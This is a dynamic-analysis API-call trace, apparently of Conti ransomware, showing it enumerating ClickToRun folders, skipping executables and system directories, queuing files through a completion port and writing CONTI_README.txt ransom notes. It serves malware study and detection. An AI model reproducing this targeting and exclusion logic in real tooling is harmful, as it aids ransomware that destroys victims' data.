	[0098.305] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x4e6f934e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8530
	[0098.305] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.305] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x4e6f934e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.305] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.305] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.305] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e6f934e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e6f934e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e6f934e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.305] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.305] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.305] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.305] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.305] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.305] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2=".") returned 1
	[0098.306] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2="..") returned 1
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.306] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.306] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned 82
	[0098.306] lstrlenW (lpString="MasterDescriptor.x-none.xml") returned 27
	[0098.306] GetProcessHeap () returned 0x1720000
	[0098.306] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xde) returned 0x17bfce8
	[0098.306] lstrcpyW (in: lpString1=0x17bfce8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16"
	[0098.306] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\"
	[0098.306] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\", lpString2="MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml"
	[0098.306] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e66b0) returned 1
	[0098.306] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1
	[0098.306] lstrcmpiW (lpString1="s640.hash", lpString2=".") returned 1
	[0098.306] lstrcmpiW (lpString1="s640.hash", lpString2="..") returned 1
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch=".CONTI") returned 0x0
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch=".exe") returned 0x0
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch=".dll") returned 0x0
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch=".lnk") returned 0x0
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch=".sys") returned 0x0
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch=".CONTI") returned 0x0
	[0098.306] StrStrIW (lpFirst="s640.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.306] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned 82
	[0098.306] lstrlenW (lpString="s640.hash") returned 9
	[0098.306] GetProcessHeap () returned 0x1720000
	[0098.306] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cb698
	[0098.307] lstrcpyW (in: lpString1=0x17cb698, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16"
	[0098.307] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\"
	[0098.307] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\", lpString2="s640.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash"
	[0098.307] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e68f8) returned 1
	[0098.307] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.307] lstrcmpiW (lpString1="stream.x64.x-none.man.dat", lpString2=".") returned 1
	[0098.307] lstrcmpiW (lpString1="stream.x64.x-none.man.dat", lpString2="..") returned 1
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".exe") returned 0x0
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".dll") returned 0x0
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".lnk") returned 0x0
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".sys") returned 0x0
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.307] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.307] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned 82
	[0098.307] lstrlenW (lpString="stream.x64.x-none.man.dat") returned 25
	[0098.307] GetProcessHeap () returned 0x1720000
	[0098.307] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xda) returned 0x17bfdd0
	[0098.307] lstrcpyW (in: lpString1=0x17bfdd0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16"
	[0098.307] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\"
	[0098.307] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\", lpString2="stream.x64.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat"
	[0098.307] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8b30) returned 1
	[0098.307] FindNextFileW (in: hFindFile=0x17c8530, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.307] GetProcessHeap () returned 0x1720000
	[0098.307] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0098.307] FindClose (in: hFindFile=0x17c8530 | out: hFindFile=0x17c8530) returned 1
	[0098.307] GetProcessHeap () returned 0x1720000
	[0098.307] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0098.308] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0098.308] GetProcessHeap () returned 0x1720000
	[0098.308] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fed0 | out: hHeap=0x1720000) returned 1
	[0098.308] FindClose (in: hFindFile=0x17c84f0 | out: hFindFile=0x17c84f0) returned 1
	[0098.308] GetProcessHeap () returned 0x1720000
	[0098.308] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f890 | out: hHeap=0x1720000) returned 1
	[0098.308] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2=".") returned 1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="..") returned 1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="tmp") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="winnt") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="Application Data") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="AppData") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="temp") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="thumb") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="$Recycle.Bin") returned 1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="$RECYCLE.BIN") returned 1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="System Volume Information") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="Program Files") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="Program Files (x86)") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="Boot") returned -1
	[0098.308] lstrcmpiW (lpString1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="Windows") returned -1
	[0098.308] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.308] lstrlenW (lpString="201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned 36
	[0098.308] GetProcessHeap () returned 0x1720000
	[0098.308] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x92) returned 0x17400b0
	[0098.308] lstrcpyW (in: lpString1=0x17400b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.308] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.308] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0098.308] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned 72
	[0098.308] GetProcessHeap () returned 0x1720000
	[0098.308] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x96) returned 0x173fcf0
	[0098.308] lstrcpyW (in: lpString1=0x173fcf0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0098.309] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*"
	[0098.309] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned 72
	[0098.309] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.309] GetProcessHeap () returned 0x1720000
	[0098.309] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c61b0
	[0098.309] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0098.309] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\"
	[0098.309] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\CONTI_README.txt"
	[0098.309] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0098.311] GetProcessHeap () returned 0x1720000
	[0098.311] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.311] WriteFile (in: hFile=0x384, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.312] CloseHandle (hObject=0x384) returned 1
	[0098.312] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e6f934e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x17c7e70
	[0098.312] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.312] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e6f934e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1
	[0098.312] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.312] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.312] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e6f934e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e6f934e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e6f934e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.312] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.312] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.312] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.312] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.312] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2=".") returned 1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="..") returned 1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="tmp") returned -1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="winnt") returned -1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="Application Data") returned 1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="AppData") returned 1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="temp") returned -1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="thumb") returned -1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="$Recycle.Bin") returned 1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="System Volume Information") returned -1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files") returned -1
	[0098.313] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files (x86)") returned -1
	[0098.314] lstrcmpiW (lpString1="en-us.16", lpString2="Boot") returned 1
	[0098.314] lstrcmpiW (lpString1="en-us.16", lpString2="Windows") returned -1
	[0098.314] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned 72
	[0098.314] lstrlenW (lpString="en-us.16") returned 8
	[0098.314] GetProcessHeap () returned 0x1720000
	[0098.314] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732c10
	[0098.314] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0098.314] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\"
